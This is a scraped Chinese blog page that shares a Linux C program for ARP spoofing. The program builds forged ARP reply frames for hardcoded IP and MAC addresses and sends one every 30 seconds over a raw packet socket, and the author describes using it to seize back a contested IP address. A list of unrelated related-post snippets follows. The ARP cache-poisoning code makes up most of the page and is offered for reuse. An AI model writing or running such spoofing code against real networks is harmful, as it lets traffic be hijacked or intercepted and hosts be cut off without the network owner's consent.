1. 程式人生 > >linux下ARP欺騙程式

linux下ARP欺騙程式

    很久以前寫的一個arp reply程式,關鍵時刻有時能派上用場,儲存一下。有次自己伺服器的IP不知道被哪個組的搶了,導致上不了網,而網管又找不到是哪臺伺服器。實在沒有辦法,只用用此程式奪回了自己的IP。注意這裡IP地址和MAC地址都是假的。
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <net/ethernet.h>
  4. #include <netinet/if_ether.h>
  5. #include <netinet/in.h>
  6. #include <sys/socket.h>
  7. #define SRC_IP "238.221.236.83"
  8. #define TARGET_IP "238.221.236.119"
  9. short SRC_MAC[]={0x00,0x03,0x1A,0x01,0x00,0x00};
  10. short TARGET_MAC[]={0x00,0x12,0x25,0x9D,0xC1,0xF0};
  11. void send_arp_reply(void);
  12. int main(int argc ,char *args[])
  13. {
  14. while(1)
  15.     {
  16.         send_arp_reply();
  17.         sleep(30);
  18.     }
  19. return 0;
  20. }
  21. void send_arp_reply(void)
  22. {
  23. struct ether_header *eth_hdr;
  24. struct ether_arp *arp;
  25. char datagram[60];
  26.     eth_hdr=(struct ether_header *)datagram;
  27.     memset(datagram,0,sizeof(datagram));
  28. //set the ethernet header
  29.     eth_hdr->ether_dhost[0]=TARGET_MAC[0];
  30.     eth_hdr->ether_dhost[1]=TARGET_MAC[1];
  31.     eth_hdr->ether_dhost[2]=TARGET_MAC[2];
  32.     eth_hdr->ether_dhost[3]=TARGET_MAC[3];
  33.     eth_hdr->ether_dhost[4]=TARGET_MAC[4];
  34.     eth_hdr->ether_dhost[5]=TARGET_MAC[5];
  35.     eth_hdr->ether_shost[0]=SRC_MAC[0];
  36.     eth_hdr->ether_shost[1]=SRC_MAC[1];
  37.     eth_hdr->ether_shost[2]=SRC_MAC[2];
  38.     eth_hdr->ether_shost[3]=SRC_MAC[3];
  39.     eth_hdr->ether_shost[4]=SRC_MAC[4];
  40.     eth_hdr->ether_shost[5]=SRC_MAC[5];
  41.     eth_hdr->ether_type=htons(ETHERTYPE_ARP);
  42. //set the arp header 
  43.     arp=(struct arp*)(datagram+sizeof(struct ether_header));    
  44.     arp->arp_hrd=htons(ARPHRD_ETHER);
  45.     arp->arp_pro=htons(ETHERTYPE_IP);
  46.     arp->arp_hln=6;
  47.     arp->arp_pln=4;
  48.     arp->arp_op=htons(2);
  49. //arp body
  50. //sender MAC and IP
  51.     memcpy((void*)arp->arp_sha,(void*)eth_hdr->ether_shost,6);
  52. struct in_addr inadd_sender;
  53.     inet_aton(SRC_IP,&inadd_sender);
  54.     memcpy((void*)arp->arp_spa,(void*)&inadd_sender,4);
  55. //target MAC and IP
  56.     memcpy((void*)arp->arp_tha,(void*)eth_hdr->ether_dhost,6);
  57. struct in_addr inadd_target;
  58.     inet_aton(TARGET_IP,&inadd_target); 
  59.     memcpy((void *)arp->arp_tpa,(void*)&inadd_target,4);
  60. //establish socket
  61. int fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP));
  62. if(fd<0)
  63.     {
  64.         perror("socket");
  65.         exit(-1);
  66.     }
  67. struct sockaddr sa;
  68.     strcpy(sa.sa_data,"eth0");
  69.     sendto(fd,datagram,sizeof(datagram),0,&sa,sizeof(sa));
  70.     close(fd);
  71. return ;
  72. }

具體報文格式參考:<<TCP/IP詳解>> 一書

相關推薦

linuxARP欺騙程式

    很久以前寫的一個arp reply程式,關鍵時刻有時能派上用場,儲存一下。有次自己伺服器的IP不知道被哪個組的搶了,導致上不了網,而網管又找不到是哪臺伺服器。實在沒有辦法,只用用此程式奪回了自己的IP。注意這裡IP地址和MAC地址都是假的。#include <s

linux 執行C程式

#include<stdio.h> int main(){ int a=100,b=25; if(a>b) printf(" The high value is %d\n",a); else printf(" Th

Linux執行c++程式

1.建立hello.cpp檔案 vi hello.cpp 2.程式程式碼 #include<iostream> using namespace std; int main() { cout << "Hello World!" << endl;

Linux偵錯程式GDB、makefile的使用

  前面的幾篇部落格中我們講解了Linux下的編輯器vim、編譯器gcc和g++,今天我們來介紹一下其他常用的三種工具,它們分別是程式偵錯程式:GDB、程式碼檢視器:ctags、還有一個輔助工程的工具:Makefile 程式偵錯程式:GDB 在windos下我們常用vs編輯器中自帶

linux實現在程式執行時的函式替換(熱補丁)

原帖地址: 宣告:以下的程式碼成果,是參考了網上的injso技術,在本文的最後會給出地址,同時非常感謝injso技術原作者的分享。    但是injso文章中的程式碼存在一些問題,所以後面出現的程式碼是經過作者修改和檢測的。也正因為這些錯誤,加深了我的學習深度。 &nb

LinuxC語言程式的除錯

1.編譯時新增除錯資訊 使用gcc -g -o [生成檔名] [原始檔名]來編譯生成一個帶除錯資訊的可執行檔案 例如:gcc -g -o test.debug test.c 加上-g選項以後,gcc在編譯是會做以下額外的操作: 建立符號表,符號表包含了程式

Linux執行Java程式

在linux下編譯java程式,執行javac編譯生成class檔案時,在centos7終端輸入如,javac hello.java    會提示未找到指令,但用java -verison測試環境變數是沒問題的 百度了好久,說的很複雜,重新再linux配置環境變數,輸入 vi /etc/

Linux限制某程式CPU佔用

在1臺雲主機上使用GDrive同步檔案時,老是觸發主機商的CPU佔用上限,不停的被強制關機。好麼,找了一圈,發現1個挺好用的限定CPU佔用的程式:CPULimit 記載一下CentOS 7下CPULimit的部署與使用途中 部署 git clone http

linux編譯C++程式

一、GCC(GNU Compiler Collection)是Linux下最主要的編譯工具,GCC不僅功能非常強大,結構也異常靈活。它可以通過不同的前端模組來支援各種語言,如Java、Fortran、Pascal、Modula-3和Ada     &nbs

linuxarp攻擊的解決方案[原]

            最近我們這棟宿舍樓的ARP病毒又爆發了,Windows下的使用者可以使用antiArp防火牆, 基本上能解決問題,可是喜歡linux的兄弟姐妹們怎麼辦呢,我今天就遇到這個檔子煩心事。我用的是fedora core 6,我先把幾個映象檔案掛上,用關鍵字 arp 一搜,就搜到了arptab

Linux 後臺執行程式,檢視和關閉後臺執行程式

1、執行.sh檔案 直接用./sh 檔案就可以執行,但是如果想後臺執行,即使關閉當前的終端也可以執行的話,需要nohup命令和&命令。 (1)&命令           功能:加在一個命令的最後,可以把這個命令放在後臺執行 (2)nohup命令

linux 執行 Java程式

步驟 : 一 jdk下載: jdk下載需要用到cookie,下面為標準式: wget -O jdk-8u161-linux-x64.tar.gz--no-check-certificate --no-cookies --header "Cookie: oraclelic

第一次在linux執行.netcore程式

.netcore的跨平臺如此之火,忍不住想試試 在linux下部署 .net 程式。 雖然是借鑑,但過程坎坷。對從未使用過linux的我難度可想而知,但萬事有百度。分享一些坑,下載Centos7後,安裝在VMware中,注意網路連線,最好是關機後重新啟動。 總體思路 環境

Linuxqt 禁止程式執行兩個

Linux系統下qt防止同一程式在系統中執行兩個例項,直接上程式碼:    QEventLoop loop;    connect(&process,SIGNAL(readyReadStandardOutput()),&loop,SLOT(quit())); 

Linux埠掃描程式nmap介紹

NMAP(1)                      Nmap Reference Guide                      NMAP(1) NAME        nmap - Network exploration tool and security / port sc

Linux的C++程式:統計一個目錄及其內部檔案總共佔據的空間大小

統計一個目錄的大小(byte數),最簡單的辦法是在控制檯輸入命令: du -sb 目錄地址 用C++實現這個功能,是通過遞迴遍歷目錄下的檔案和子目錄達到的。需要注意的是,因為Byte數過大,單用一個整型統計Byte的數量,遇到大一些的目錄會出現溢位。因此我採用了TB、GB、MB、KB和Byte五個層級來表

kaliarp欺騙session會話劫持

開啟ettercap 或者arpspoof 進行arp欺騙(ettercap經常報錯ERROR 12 Cannot allocate memory,不知道怎麼解決哪位大神指教一下,求教) 命令:ar

windows和linux打包python程式

一、windows下用py2exe打包python程式生成exe檔案 1、py2exe是一種python釋出的打包工具,可以把python指令碼轉換成windows下的可執行程式,不需要安裝python便可執行。 2、首先需要安裝py2exe,我的python是2.7版本,

在windowsLinux執行python程式的方法

1 在windows下執行python程式 1)從DOS命令列執行python指令碼   用python直譯器來執行python指令碼,在windows下面python直譯器是python.exe,我的python檔案安裝在D:\Python27,在這個目錄下可

如何使用加多寶(jdb)在linux除錯Java程式

畢業時寫了一段時間的C,那時候除錯使用gdb,後來轉了java,當時就想java程式怎麼除錯,找了一下,果然,那就是jdk自帶的jdb windows裡是這樣的 Linux下是這樣的 一般我在linux下來除錯Java程式  好,那麼,問題來了,這玩意怎麼用?有好幾種玩法 第一種玩